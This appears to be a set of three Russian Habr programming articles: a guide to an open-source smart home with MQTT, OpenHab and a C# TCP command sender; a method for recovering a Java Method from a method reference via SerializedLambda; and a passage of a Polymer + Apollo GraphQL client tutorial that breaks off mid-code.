Не раз мы слышали новости о том, что какая-то нерадивая Алекса [позвонила куда-то не туда](https://www.kiro7.com/news/local/woman-says-her-amazon-device-recorded-private-conversation-sent-it-out-to-random-contact/755507974/) или Алиса с Сири сливают данные одновременно [товарищу майору и мистеру Смиту](https://rspectr.com/articles/540/alisa-alexa-siri-doveryaj-no-ogranichivaj). Но мы не лыком шиты. У нас есть альтернативы, и с ними мы и познакомимся.
Мир IoT удивительно разнообразен. Системы разнообразны. Нужно сидеть и выбирать, будете ли вы следовать по пути Amazon, Apple, Google, Logitech или Samsung. Сами устройства разнообразны. У вас есть большое количество производителей, каждый из которых предоставляет разные протоколы и стандарты.
Каждая лампочка в доме включается через приложение, которое работает в облаке. Каждая камера снимает видео на свой облачный сервис, и каждый термостат учится по-своему. Данные текут рекой в неизвестном направлении. Да и к тому же вам уже надо покупать новый телефон, чтобы установить все приложения для контроля разнообразных роботов. А если телефон не заряжен, то и кофе вам выпить не удастся.
Можно решить вопрос консолидацией всего на одной из платформ Больших Братьев, а можно взять Ардуину и построить свой умный дом с куртизанками и преферансом. Руки у нас растут из нужного места. Писать на скриптах и питоне умеет каждый. Да и кто из нас, хабровчан, откажется от сомнительного удовольствия провести выходные, настраивая подключение кото-кормушки к камере с сенсорами (так как вы уже давно подозреваете, что ваш кот давным-давно не является единственным котом в доме)?
Итак, что делать, если вы ещё не начали писать программное обеспечение для своего дома сами?
Для начала нам нужно будет разобраться с одной достаточно простой технологией.
MQTT — Message Queuing Telemetry Transport. Протокол передачи сообщений телеметрии. В мире умных вещей на этом языке говорят достаточно многие.
Что самое интересное, протокол был разработан в 1999 году и применялся для снятия телеметрии в газопроводах. Основная идея протокола была в том, что нам был нужен легко реализуемый язык передачи данных с базовыми функциями по подтверждению доставки сообщений в пункт назначения.
В 2010 году протокол был переиздан в свободной форме, а в 2016 стал ISO стандартом.
Идея протокола достаточно проста. Всё работает по TCP/IP на порту 1883. Туда-сюда кидаются бинарные сообщения. Клиент подключается к установленному в сети брокеру, регистрируется на этом брокере и скидывает на него данные.
MQTT не создавался как протокол для настройки и работы с умным домом. Это протокол для автоматизации чего угодно. Но мы можем воспользоваться [правилом пятисот дрелей](https://xkcd.com/2021/) и использовать MQTT как основной подлежащий протокол для всех наших умных замков, розеток и поливалок для цветов (сами устройства ищутся на различных маркетах путём добавления “MQTT” к названию устройства). Не все устройства одинаково хорошо поддерживают этот протокол. Например, если вам не повезло стать владельцем Алексы, то она вообще дружит с MQTT только после конкретной обработки напильником.
Но и не только на MQTT живёт мир. Все устройства с Амазона работают на своём протоколе. Цветные лампочки от Филипса работают на своём. Куда ни ткни — везде свой протокол. Для программирования своего дома вам придётся создавать примерно следующую архитектуру:
1. Сеть. Самое простое — Wi-Fi. Для продвинутых пользователей шапочек из фольги можно заморочиться и найти Ethernet варианты практически любых IoT гаджетов
2. Система-брокер. Raspberry PI или любой другой компьютер для обработки сообщений MQTT и других протоколов.
3. Система хранения данных. Любой достаточно ёмкий диск. Объём ограничивается только вашей фантазией.
4. Если вы собираетесь управлять своим домом с мобильного телефона — внешний IP-адрес с доменом и Let's Encrypt.
Но не бойтесь, на самом деле с нуля писать это не придётся. У нас есть большое количество уже существующих open-source проектов, которые позволяют вам просто подключать все эти устройства.
Вот три самых известных системы, на которые следует обратить внимание:
1. [OpenHab](https://www.openhab.org/), [github.com/openhab](https://github.com/openhab)
2. [Home Assistant](https://www.home-assistant.io/), [github.com/home-assistant](https://github.com/home-assistant)
3. [Homebridge](http://homebridge.io/), [github.com/homebridge](https://github.com/homebridge)
Вышеописанные проекты получают шикарную поддержку, имеют тысячи звёзд на github и постоянно обновляются. Если вы хотите начать прямо сейчас, то начинать рекомендуется именно с этих систем.
А вот ещё куча систем, которые существуют, но до вышеописанных трёх не дотягивают.
1. [www.openmotics.com](https://www.openmotics.com/)
2. [www.jeedom.com/site/en/index.html](https://www.jeedom.com/site/en/index.html)
3. [www.iobroker.net](https://www.iobroker.net/)
4. [www.agocontrol.com](https://www.agocontrol.com/)
5. [www.domoticz.com](https://www.domoticz.com/)
6. [calaos.fr/en](https://calaos.fr/en/)
7. [pimatic.org](https://pimatic.org/)
8. [www.smarthomatic.org](https://www.smarthomatic.org/)
9. [www.mycontroller.org](https://www.mycontroller.org/)
10. [docs.pidome.org](https://docs.pidome.org/)
Эти системы находятся в разной степени заброшенности. В них не хватает функций, поддержки протоколов новых устройств и т.д. В некоторых из них интерфейс оставляет желать лучшего.
Отдельно в этом списке идут два проекта:
* [fhem.de/fhem.html](http://fhem.de/fhem.html) — с лицензией GNU, написанный на Perl. Этот сервер подойдёт заядлым любителям антилоп. Он упорно развивается и поддерживает множество устройств, но интерфейс оставляет желать лучшего. Плюс я не помню, когда я видел коммит на перле в последний раз.
* [www.eventghost.net](http://www.eventghost.net/) — заточен для работы с Windows. Один из тех сайтов-динозавров, который по дефолту не поддерживает HTTPS. Можно просто поставить на флешку. Абсолютно бесполезен для конечного продукта, но может подойти для тестового стенда. Имеет поддержку игрового контроллера Xbox, благодаря чему можно сделать пару отличных штук с детворой.
Идея будет достаточно простой. Берём Raspberry Pi, устанавливаем на неё один из вышеописанных клиентов и начинаем разработку. Если под рукой нет малинки, то систему можно поставить на любой сервер. А если и этого нет в достаточном количестве, то ставить можно будет на обычный компьютер с докером.
Тут надо учесть вот что. Умный дом должен сам менять температуру, включать кофеварки и управлять лампочками, когда надо. Для того чтобы это «когда надо» определить, нам потребуется куча сенсоров и датчиков. А для этого нам нужно будет постоянно быть онлайн, чтобы эти датчики считывать.
Если ваши компоненты не включают в себя такие вещи, как Alexa и тому подобные гаджеты, которые требуют постоянного подключения к интернету, ваш умный дом можно будет строить на air-gapped сети.
Данные никогда не покинут вашего дома и будут храниться на вашем сервере. Но для большинства людей это сомнительное удовольствие. Полный отказ от всех интернет-зависимых сервисов вредит юзабилити.
Например, если вы решили подключить системы стриминга музыки к своему дому. OpenHab позволяет работать со Spotify, который, наконец-то, запустили в России. Более того, тот же OpenHab приучили дружить с Алисой.
Если вы хотите, чтобы ваш умный дом был доступен на смартфоне, то тут ничего не поделаешь. Всё надо будет либо подключать через интернет, либо оснащать сервер двумя сетевыми картами и выводить админку во внешний мир. Более того, вам потребуется либо выделенный адрес, либо какой-нибудь сервис для выведения этого адреса вовне.
Опять же, всё это необязательно, OpenHab может жить в пещере внутренней сети. Но если вы выводите систему вовне, то вам нужно будет учитывать два фактора:
* Вы не должны пропускать никаких инструкций по безопасности. В мануалах большинства из вышеописанных систем есть данные про безопасность соединения. Вам нужно будет прочитать, вникнуть и не упускать из внимания эти инструкции.
* Вы должны позаботиться о стабильности системы. Если вам припёрло установить датчик наличия кота на опрыскиватель для цветов, чтобы отпугивать усатое чудо от поедания кактусов, то это одно дело. В худшем случае вы либо получите съеденный кактус, либо постоянно мокрого кота. Если вы подключите умный замок к камере внешнего наблюдения, чтобы удалённо открывать двери детям, то это абсолютно другое дело.
Стабильный сервер с хорошим соединением позволит вашим чадам избежать стояния в холодном подъезде по 3 часа, потому что единственный физический ключ есть только у папы, а сервер решил кордампнуть по причине падения IDE жёсткого диска-пенсионера.
Итак, устанавливаем и настраиваем OpenHab. Всё просто, [всё на сайте](https://www.openhab.org/), всё по инструкции.
Что дальше?
А вот тут начинается самое интересное. Быстро читаем мануалы (мы же не те самые нерадивые админы, про которых недавно писал Григорий Остер). После чего понимаем, что попало нам в руки.
У нас уже есть полноценная система, которая позволяет создавать виртуальные пространства, описывать в них компоненты и подключать к этим компонентам физические устройства. Устройства передают данные на сервер через протокол MQTT, сервер их собирает и хранит. Но теперь при наличии этих данных мы можем провести их анализ и написать скрипты, которые позволили бы создать систему автоматизации.
И вот как раз тут-то у нас начинается самая веселуха. OpenHab поддерживает из коробки NodeRed и Jython. Свой дом можно превращать в цифровую крепость на визуальном Node.js или питоне. Идея достаточно проста — у нас есть данные о состоянии датчиков. Обрабатываем эти данные скриптом и запускаем различные устройства в ответ на найденные состояния. Естественно, встроенная система создания интерфейсов в OpenHab позволяет вам нарисовать нужные кнопки и переключатели, которые имеют биндинги к уже существующим данным в базе.
Более того, если ваше устройство поддерживается из коробки, вам даже не нужно будет делать ничего особого. Просто берёте, рисуете переключатель и привязываете состояние лампочки к этому переключателю. И вот — вы можете выключать свет с вашего телефона.
Но это дико неинтересно. Это сегодня может сделать любая лампочка из коробки.
Вы же можете написать скрипт, который будет отслеживать координаты вашего телефона и в зависимости от времени суток выставлять правильную степень яркости ваших лампочек. Или, например, создать систему «следования» в музыкальном проигрывателе, которая автоматически переключает вашу музыку на колонки в той комнате, в которой вы находитесь.
Загвоздка заключается в том, что после написания пяти различных скриптов для пяти различных девайсов, я устал. И решил на всё забить. Если уже и писать систему, так делать её универсальной.
В принципе всё, что нам было нужно — это создать точку привязки, которая позволит нашему хабу общаться с другими устройствами по UDP без всяких скриптов-посредников.
Открываем openhab.cfg и создаём биндинг:
```
udp:port=4115
udp:buffersize=110
udp:itemsharedconnections=true
udp:bindingsharedconnections=true
udp:directionssharedconnections=false
udp:addressmask=false
udp:preamble=
udp:postamble=/r/n
udp:blocking=false
udp:updatewithresponse=false
udp:refreshinterval=250
udp:charset=UTF-8
```
После этого описываем устройство:
```
String Relay_InputString "Relay Input String [%s]" {udp="<[device_ip:source_port:’REGEX((.*))’]"}
String Relay_decString "decoded Input String [%s]"
```
И добавляем обработчик события:
```
rule:
`import org.openhab.core.library.types.*
rule "parse_Relay_InputString"
when
Item Relay_InputString received update
then
if (Relay_InputString.state instanceof StringType) {
var value = Relay_InputString.state as StringType
var valueLength = value.toString.length() as Integer
val byte[] bytes = value.toString.getBytes("UTF-8")
postUpdate(Relay_decString, bytes.toString())
}
end
```
И таким образом мы получаем данные из устройства. И попутно сидим и молимся о том, что в данном случае кодировка UTF-8 сработает (спойлер, на одном устройстве она сработала). Если кодировка не работает и на входе вы получаете мусор, то тут можно разбираться до конца времён. Но те, кто работал с Java, знают как в этом разобраться.
Для тех, кому это делать лень — можно пойти другим, намного более извращённым путём, который будет транслировать сообщения из TCP или UPD в JSON. Этот способ прост, если у вас есть много устройств, на которые надо отправлять команды, но из которых необязательно получать ответы. Берём любимый язык программирования и пишем свой сервер, который принимает команды на одном конце и выдаёт последовательности бит на другом. Это займёт больше времени, но если у вас есть большое количество китайских несговорчивых устройств, это может сэкономить некоторые телодвижения.
Я, например, решил эту проблему созданием сервера, в сердце которого лежало 60 строк на C#:
```
public static class Executor
{
public static Byte[] Say(string What, CommandType Type, string Address, int Port)
{
Byte[] bt = Type switch
{
CommandType.AsciiString => System.Text.Encoding.ASCII.GetBytes(What),
CommandType.UtfString => System.Text.Encoding.UTF8.GetBytes(What),
CommandType.Binary => ProcessBinary(What, 8),
CommandType.ByteArray => ProcessBytes(What),
_ => Array.Empty()
};
using TcpClient t = new TcpClient(Address, Port);
var s = t.GetStream();
s.Write(bt, 0, bt.Length);
return bt;
}
static Byte[] ProcessBytes(string What)
{
if (What.Length % 2 == 1) What += "0"; //If user sent us uneven byte count
List ret = new(What.Length/2);
foreach (String ch in What.SplitInParts(2))
{
var d1 = Convert.ToByte(ch[0].ToString(), 16);
var d2 = Convert.ToByte(ch[1].ToString(), 16);
d1 \*= 0x10;
d1 += d2;
ret.Add(d1);
}
return ret.ToArray();
}
static Byte[] ProcessBinary(string What, int WordLength)
{
List ret = new(What.Length);
foreach (var ch in What.SplitInParts(WordLength))
{
ret.Add(Convert.ToByte(ch, 2));
}
return ret.ToArray();
}
}
static class StringExtensions
{
public static IEnumerable SplitInParts(this String s, Int32 partLength)
{
if (s == null)
throw new ArgumentNullException(nameof(s));
if (partLength <= 0)
throw new ArgumentException("Part length has to be positive.", nameof(partLength));
for (var i = 0; i < s.Length; i += partLength)
yield return s.Substring(i, Math.Min(partLength, s.Length - i));
}
}
```
Так как в основном мне предстояло передавать команды на устройства, а не получать из них данные, я написал этот скрипт, который преобразует строку текста в правильную кодировку, биты или байты и посылает их в нужном направлении.
С такой заглушкой можно было быстро подключить кучу разношёрстных разноязычных устройств к openHab и продолжать конфигурировать систему.
Собственно говоря, тут уже можно делать что только душе угодно.
Более того, если вам удалось отхватить какое-то автоматическое реле за 100 рублей на “Алибаба” три года назад и оно всё ещё пылится без дела, то вы можете подключить это реле в OpenHab. Большинство дешёвых китайских подделок работают по каким-то только им известным бинарным или полутекстовым протоколам. При помощи Jyton вы сможете подключиться к несчастному реле руками через сеть и написать функции, необходимые для включения и выключения этого реле. После чего эти функции можно смело импортировать в сам OpenHab и использовать для построения своего дома.
При всём при этом, как вы видите, входной порог достаточно низок. Для того чтобы начать играться с этими системами автоматизации, вам не нужны никакие подписки. Все open-source. Wi-Fi реле можно найти меньше чем за 1000 рублей.
Для успешной работы с системами вам нужно будет выучить либо питон, либо визуальный Node.js. Если вы будете серьёзно программировать устройства, то вам потребуется понимание протоколов передачи данных, таких как MQTT. Но всё это необходимо, если вы будете серьёзно экономить на устройствах. Если же вы пойдёте путём покупки брендового оборудования, то можно обойтись программированием по методу щёлканья мышкой.
Но какой же умный дом, без того, чтобы можно было зайти и сказать: “Милая, я вернулся!”, ожидая, что ваша теперь уже напичканная электроникой квартира ответит что-то в стиле: “Сию секунду делаю кофе!”
Не стоит думать, что Алекса, Сири, Алиса и Кортана единственные на рынке (и Гугл, у них тоже что-то есть, но оно абсолютно безликое).
Один из самых больших проектов на github с открытым кодом голосового помощника называется [Leon](https://github.com/leon-ai/leon). Система сделана французом, и этот проект собрал 5.4 тысячи звёзд на платформе. Расширяемый и переписываемый помощник, который можно подключить к вашему умному дому.
После, у нас есть JARVIS из Железного Человека. Он зиждется в этом репозитории. [github.com/sukeesh/Jarvis](https://github.com/sukeesh/Jarvis). По умолчанию этот помощник умеет работать с базовыми действиями из командной строки. После небольшой конфигурации ему можно включить голос, и писать скрипты для обработки более сложных команд.
Далее можно будет подключить SAPI модуль для обработки вашего голоса и можно запускать скрипты, которые будут дёргать ваши команды через API в OpenHab. Это позволит вам создавать вашу собственную Сири в пределах отдельно взятой сети.
Оба вышеописанных проекта написаны по лицензии MIT.
Чуть более популярная чем Jarvis, но уступающая Леону — система [Mycroft](https://github.com/MycroftAI/mycroft-core). Лицензия в данном случае — Apache, и сама компания заточена на продажу собственных гаджетов в виде умных колонок и дисплеев. Хотя система и запускается в докере, но она очень просится в интернет, особенно если вы прикупите себе Mycroft гаджетов.
Существуют и другие, менее успешные open-source системы распознавания голоса. Их можно нагуглить, но они более узко специализированы и их удобнее использовать как API для ваших приложений, нежели как самостоятельные проекты.
> Предупреждаю только вот о чём:
>
>
>
> Устанавливать систему распознавания голоса надо на более продвинутое железо. Тут одна малинка не прокатит. Для того чтобы хостить собственную модель для распознавания речи, вам потребуется что-то, как минимум, с восемью свободными гигами оперативки. И желательно с приличным процессором, особенно если вы захотите как следует натаскать её на ваш голос. Так что внезапно простая затея с умным домом превращается в настройку сервера в стойке и перерастает в многолетний проект. Так что будьте осторожны.
Ну вот и всё.
После этого вам потребуется день на то, чтобы как следует разобраться в документации, а дальше у вас не будет никаких ограничений.
Более того, вы сможете использовать ваше оборудование в связке с NodeRed для того, чтобы обучить ваше чадо программированию на примере физически реальных вещей. Обычно это вызывает массу интереса и вовлечённость.
Мир open-source избушки на курьих ножках достаточно прост и доступен. Дерзайте.
---
НЛО прилетело и оставило здесь промокоды для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**.
— [20% на выделенные серверы AMD Ryzen и Intel Core](https://1dedic.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=coreryzen20#server_configurator) — **HABRFIRSTDEDIC**.
Доступно до 31 декабря 2021 г. | https://habr.com/ru/post/593659/ | null | ru | null |
# Получение Method из Method Reference в Java
Я столкнулся с проблемой — как получить из method reference вида
```
Function fun = String::length;
```
вызываемый метод класса (или хотя бы его имя), т.е. в примере это `java.lang.String.length()`. Как выяснилось, не одного меня волновал этот вопрос, нашлись такие обсуждения на stackoverflow [[1]](https://stackoverflow.com/questions/19845213), [[2]](https://stackoverflow.com/questions/21860875), проекты на GitHub, которые так или иначе касаются этой проблемы [[1]](https://github.com/cronn-de/reflection-util), [[2]](https://github.com/jhalterman/typetools), [[3]](https://github.com/Hervian/safety-mirror), но не один из них не дает ровно то, что нужно. На Хабре [ibessonov](https://habr.com/ru/users/ibessonov/) предложил [свое решение](https://habr.com/ru/post/311788/), а [apangin](https://habr.com/ru/users/apangin/) — свое [в комментарии](https://habr.com/ru/post/311788/#comment_9843134). Вариант Андрея мне понравился, но вскоре выяснились некоторые связанные с ним проблемы. Во-первых, это основано на внутренних классах JDK, все это работает только в Java 8, но не в более поздних версиях. Во-вторых, этот метод имеет ряд ограничений, например для `BiFunction` или `BiConsumer` он выдает неверное значение (это как раз обсуждается в комментариях).
В общем, перебрав несколько вариантов, удалось найти тот, который не имеет этих изьянов и работает в поздних версиях JDK — SerializedLambda. Забегая вперед сразу скажу, что это работает только с функциональными интерфейсами, помеченными как `java.io.Serializable` (т.е. с `java.util.function.Function` работать не будет), но в целом это не проблемное ограничение.
Зачем вообще это нужно?
-----------------------
Перед тем как перейти к решению, отвечу на резонный вопрос а зачем это может понадобиться?
В моем случае это используется в тестовых фреймворках, чтобы добавить диагностическую информацию о вызываемом методе, который определялся через method reference. Это позволяет сделать одновременно лаконичный и compile-безопасный код. Например, можно сделать ["where"](https://github.com/seregamorph/hamcrest-more-matchers/blob/master/readme.md) hamcrest matcher, использующий функцию-extractor для значений:
```
List list = Arrays.asList(
new SamplePojo()
.setName("name1"),
new SamplePojo()
.setName("name2")
);
// success
assertThat(list, hasItem(where(SamplePojo::getName, equalTo("name1"))));
// fails with diagnostics:
// java.lang.AssertionError:
// Expected: every item is Object that matches "name1" after call SamplePojo.getName
// but: an item was "name2"
assertThat(list, everyItem(where(SamplePojo::getName, equalTo("name1"))));
```
Обратите внимание, что в случае ошибки тест упадет с диагностикой **`"after call SamplePojo.getName"`**. Для однострочного теста это кажется избыточным, но hamcrest-выражения могут иметь многоуровневую вложенность, поэтому лишняя детализация не помешает.
SerializedLambda
----------------
Класс [java.lang.invoke.SerializedLambda](https://docs.oracle.com/javase/8/docs/api/java/lang/invoke/SerializedLambda.html) — это сериализованное представление лямбда-выражения. Важно уточнить, что интерфейс лямбда-выражения должен быть помечен как `Serializable`:
```
@FunctionalInterface
public interface ThrowingFunction extends java.io.Serializable {
R apply(T t) throws Exception;
}
```
Как следует из javadoc класса, чтобы получить объект `SerializedLambda`, следует вызвать приватный `writeReplace` на лямбда-объекте:
```
@Nullable
private static SerializedLambda getSerializedLambda(Serializable lambda) {
for (Class cl = lambda.getClass(); cl != null; cl = cl.getSuperclass()) {
try {
Method m = cl.getDeclaredMethod("writeReplace");
m.setAccessible(true);
Object replacement = m.invoke(lambda);
if (!(replacement instanceof SerializedLambda)) {
break;
}
return (SerializedLambda) replacement;
} catch (NoSuchMethodException e) {
// skip, continue
} catch (IllegalAccessException | InvocationTargetException | SecurityException e) {
throw new IllegalStateException("Failed to call writeReplace", e);
}
}
return null;
}
```
Дальше все нужные детали достаем из `SerializedLambda`, нужно только несложное преобразование. Например, имена классов записаны через `"/"`(слеш) вместо точек, а примитивные типы сделаны сокращениями. Например `getImplMethodSignature()` возвращает строку `"(Z)V"`, это означает один аргумент (внутри скобок) типа `boolean` (`"Z"`), тип возвращаемого значения — `void` (`"V"`):
```
static Class[] parseArgumentClasses(String implMethodSignature) {
int parenthesesPos = implMethodSignature.indexOf(')');
if (!implMethodSignature.startsWith("(") || parenthesesPos <= 0) {
throw new IllegalStateException("Wrong format of implMethodSignature " + implMethodSignature);
}
String argGroup = implMethodSignature.substring(1, parenthesesPos);
List> classes = new ArrayList<>();
for (String token : argGroup.split(";")) {
if (token.isEmpty()) {
continue;
}
classes.add(parseType(token, false));
}
return classes.toArray(new Class[0]);
}
private static Class parseType(String typeName, boolean allowVoid) {
if ("Z".equals(typeName)) {
return boolean.class;
} else if ("B".equals(typeName)) {
return byte.class;
} else if ("C".equals(typeName)) {
return char.class;
} else if ("S".equals(typeName)) {
return short.class;
} else if ("I".equals(typeName)) {
return int.class;
} else if ("J".equals(typeName)) {
return long.class;
} else if ("F".equals(typeName)) {
return float.class;
} else if ("D".equals(typeName)) {
return double.class;
} else if ("V".equals(typeName)) {
if (allowVoid) {
return void.class;
} else {
throw new IllegalStateException("void (V) type is not allowed");
}
} else {
if (!typeName.startsWith("L")) {
throw new IllegalStateException("Wrong format of argument type "
+ "(should start with 'L'): " + typeName);
}
String implClassName = typeName.substring(1);
return implClassForName(implClassName);
}
}
private static Class implClassForName(String implClassName) {
String className = implClassName.replace('/', '.');
try {
return Class.forName(className);
} catch (ClassNotFoundException e) {
throw new IllegalStateException("Failed to load class " + implClassName, e);
}
}
```
Остается только найти подходящий метод в интерфейсе, чтобы вернуть правильный результат:
```
@Nullable
public static Method unreferenceLambdaMethod(Serializable lambda) {
SerializedLambda serializedLambda = getSerializedLambda(lambda);
if (serializedLambda != null
&& (serializedLambda.getImplMethodKind() == MethodHandleInfo.REF_invokeVirtual
|| serializedLambda.getImplMethodKind() == MethodHandleInfo.REF_invokeStatic)) {
Class cls = implClassForName(serializedLambda.getImplClass());
Class[] argumentClasses = parseArgumentClasses(serializedLambda.getImplMethodSignature());
return Stream.of(cls.getDeclaredMethods())
.filter(method -> method.getName().equals(serializedLambda.getImplMethodName())
&& Arrays.equals(method.getParameterTypes(), argumentClasses))
.findFirst().orElse(null);
}
return null;
}
```
А с конструкторами работает?
----------------------------
Работает. Тут будет другой тип `serializedLambda.getImplMethodKind()`.
```
@Nullable
public static Constructor unreferenceLambdaConstructor(Serializable lambda) {
SerializedLambda serializedLambda = getSerializedLambda(lambda);
if (serializedLambda != null
&& (serializedLambda.getImplMethodKind() == MethodHandleInfo.REF_newInvokeSpecial)) {
Class cls = implClassForName(serializedLambda.getImplClass());
Class[] argumentClasses = parseArgumentClasses(serializedLambda.getImplMethodSignature());
return Stream.of(cls.getDeclaredConstructors())
.filter(constructor -> Arrays.equals(constructor.getParameterTypes(), argumentClasses))
.findFirst().orElse(null);
}
return null;
}
```
Пример:
```
// new Integer(String)
ThrowingFunction fun = Integer::new;
Constructor constructor = unreferenceLambdaConstructor(fun);
```
Совместимость
-------------
Это работает в Java 8, Java 11, Java 14, не требует внешних библиотек или доступа к приватным api JDK, не требует дополнительных параметров запуска JVM. Кроме того, применимо и к статическим методам и к методам с разным количеством аргументов (т.е. не только Function-подобные).
Единственное неудобство — для каждого вида функций придется создать сериализуемое представление, например:
```
@FunctionalInterface
public interface SerializableBiFunction extends Serializable {
R apply(T arg1, U arg2);
}
// Integer.parseInt(String, int)
SerializableBiFunction fun = Integer::parseInt;
Method method = unreferenceLambdaMethod(fun);
```
Полную реализацию можно найти [тут](https://github.com/seregamorph/hamcrest-more-matchers/blob/master/src/main/java/com/github/seregamorph/hamcrest/TestLambdaUtils.java#L35).
Готовый утилитарный метод
-------------------------
Вы можете скопировать [класс](https://github.com/seregamorph/hamcrest-more-matchers/blob/master/src/main/java/com/github/seregamorph/hamcrest/TestLambdaUtils.java) в свой проект, но я бы не рекомендовал использовать это вне scope test. Кроме того, можно добавить зависимость:
```
com.github.seregamorph
hamcrest-more-matchers
0.1
test
```
и вызвать
```
import static com.github.seregamorph.hamcrest.TestLambdaUtils.unreferenceLambdaMethod;
...
ThrowingFunction fun = String::toLowerCase;
Method method = unreferenceLambdaMethod(fun);
assertEquals("toLowerCase", method.getName());
``` | https://habr.com/ru/post/522774/ | null | ru | null |
# Пишем GraphQL API сервер на Yii2 с клиентом на Polymer + Apollo. Часть 2. Клиент
[Часть 1. Сервер](https://habrahabr.ru/post/336758/)
**Часть 2. Клиент**
[Часть 3. Мутации](https://habrahabr.ru/post/337046/)
[Часть 4. Валидация. Выводы](https://habrahabr.ru/post/337236/)
Для реализации UI рассмотрим пример написания веб-клиента для нашего GraphQL-сервера. И коли уж мы решили не следовать старым добрым традициям, то и в UI этого делать, конечно же, не будем и напишем его на кастомных веб-компонентах с использованием замечательной [библиотеки Polymer](https://www.polymer-project.org/2.0/start/).
Почему для подключения к GraphQL-серверу была выбрана [библиотека Apollo](http://dev.apollodata.com/) сказать сложно, так как аналогов для работы с GraphQL я не встречал. Изначально библиотека, как и вся ее документация заточена под React, а вся информация об интеграции с Polymer ограничивается лишь [ссылкой](http://dev.apollodata.com/core/polymer.html) на компонент в разделе Integrations. Таким образом, если вы работаете с React, вам и карты в руки. Все примеры, твики и хуки именно для него.
Собственно, код
---------------
[Готовый проект клиента можно посмотреть и скачать тут](https://github.com/timur560/graphql-client-demo).
### Шаг 1. Установка Polymer
Данный шаг не несет целевой нагрузки, но, опять же, необходим для начала работы с GraphQL. Таким образом, если вы с веб-компонентами на "ты", то можете этот шаг смело пропускать.
**Установка Polymer**Как и в случае с сервером, для начала поднимем environment. Как это сделать вы сможете найти в [официальной документаци](https://www.polymer-project.org/2.0/start/install-2-0). Уточню лишь, что из всех предлагаемых опций, нам потребуется создать пустой проект Polymer (опция "2) polymer-2-application"), остальные опции можно оставить по-умолчанию:
```
$> polymer init
? Which starter template would you like to use?
? Which starter template would you like to use? polymer-init-polymer-2-applicat
info: Running template polymer-2-application...
? Application name (graphql-client-demo)
? Application name graphql-client-demo
? Main element name (graphql-client-demo-app)
? Main element name graphql-client-demo-app
? Brief description of the application GraphQL Demo Client
? Brief description of the application GraphQL Demo Client
create bower.json
create index.html
create manifest.json
create polymer.json
create README.md
create src\graphql-client-demo-app\graphql-client-demo-app.html
create test\graphql-client-demo-app\graphql-client-demo-app_test.html
Project generated!
Installing dependencies...
```
И сразу же запустим:
```
$> polymer serve
info: Files in this directory are available under the following URLs
applications: http://127.0.0.1:8081
reusable components: http://127.0.0.1:8081/components/graphql-client-demo/
```
… и оставим запущенным, т.к. все изменения подхватываются на лету (для меня, как backend-щика, изначально это было не до конца очевидно).
### Шаг 2. Установка модуля для работы с GraphQL
[Модуль для работы с библиотекой Apollo с неплохой документацией](https://github.com/aruntk/polymer-apollo).
```
$> npm install --save polymer-apollo apollo-client
```
### Шаг 3. Установка и настройка webpack
К сожалению реальность такова, что работа с этим модулем происходит через webpack. С одной стороны это не так и плохо, ввиду того, что webpack упаковывает все наши скрипты так, чтоб всё работало быстрее и эффективнее. Но с другой стороны для полноценной работы с webpack необходимо использовать npm вместо Polymer CLI. Из-за этого в работе с Polymer могут возникать непредвиденные ситуации. Это происходит из-за того, что невозможно настроить некоторые функции мимо конфигурационного файла polymer.json. Но тут, скорее всего, проблема в кривых руках backend-щика, так что не минусуйте сильно, а лучше поделитесь способами конфигурации в комментариях.
**Ничего общего с GraphQL, посему в спойлер***Примечание. Хотя существует [лоадер вебпака для полимера](https://github.com/aruntk/wc-loader) от разработчика самого расширения polymer-apollo, но я, по правде сказать, особой пользы от этого лоадера не ощутил.*
```
$ npm install -g webpack
```
Затем добавим в корень проекта 2 файла:
**webpack.config.js** — настойки упаковщика;
**entry.js** — список всех js-файлов для упаковки (будет наполняться по ходу разработки приложения).
webpack.config.js:
```
module.exports = {
entry: "./entry.js",
output: {
path: __dirname,
filename: "bundle.js"
}
};
```
После чего в index.html нужно будет подключить только упакованный файл:
Чтобы подобрать правильную последовательность подключения всех скриптов и компонентов мне пришлось потратить определенное количество времени, так что советую не тратить своё и посмотреть секцию индекса в [репозитории к статье](https://github.com/timur560/graphql-client-demo).
### Шаг 4. Создание структуры
Определенной структуры на стороне frontend, как мне кажется, быть не может по той причине, что она, как правило, заточена под конкретный проект. Но два элемента нам всё же понадобятся:
1. Это директория src/models, которая будет хранить все (прямо таки все-все) GraphQL запросы и ничего кроме них, и в дальнейшем будут подключаться по мере необходимости к местам использования. И...
2. src/client.js — место подключения к GraphQL-серверу, которым мы сразу же и займемся.
#### Шаг 4.1 src/client.js
```
import ApolloClient, { createNetworkInterface, addTypename } from 'apollo-client';
// Создаем GraphQL клиент
export const apolloClient = new ApolloClient({
networkInterface: createNetworkInterface({
// здесь заменяем URL на необходимый
uri: 'http://graphql.server.demo/api/graphql',
transportBatching: true,
})
});
```
… и не забываем добавить его в entry.js:
```
import "src/client.js"
```
#### Шаг 4.2 Модель user.js
К понятию модель как таковому эти файлы никакого отношения не имеют. Это лишь библиотеки строковых констант с запросами, сгруппированные по конкретному функционалу. Не принципиально привязываться именно к сущности. Возможна разбивка по конкретным страницам или функциональным элементам. Все на усмотрение разработчика.
src/models/user.js:
```
// чтобы мы могли писать наши запросы подключаем
import gql from 'graphql-tag';
// несмотря на то, что это и не обязательно,
// важно писать именованные запросы
// (т.е. запросы с алиасом: query getUserInfo { ... })
// в дальнейшем это нам поможет при отладке
export const getUserInfoQuery = gql`
query getUserInfo {
user(id: 1) {
firstname
lastname
createDate(format: "d M, H:i")
addresses {
city {
name
}
}
}
addresses {
user {
firstname
}
}
}
`;
```
#### Шаг 4.3 Компонент
Для удобства вынесем js из нашего созданного полимером компонента в отдельный файл, и внесем в него изменения чтобы он сотрудничал с библиотекой Apollo.
src/graphql-client-demo-app/graphql-client-demo-app.js:
```
import { PolymerApolloMixin } from 'polymer-apollo';
import { apolloClient } from '../client';
// заимпортим все необходимые запросы
// (пока что он у нас один)
import { getUserInfoQuery } from '../models/user';
class GraphqlClientDemoApp extends PolymerApolloMixin({ apolloClient }, Polymer.Element) {
static get is() { return 'graphql-client-demo-app'; }
static get properties() {
return {
appName: {
type: String,
value: 'GraphQL Client Demo'
},
// ВАЖНО!!!
// постарайтесь хорошо запомнить,
// что имя property должно в
// точности соответствовать названию
// корнегово поля запроса
// т.е. в данном случае наш запрос
// будет выглядеть следующим образом:
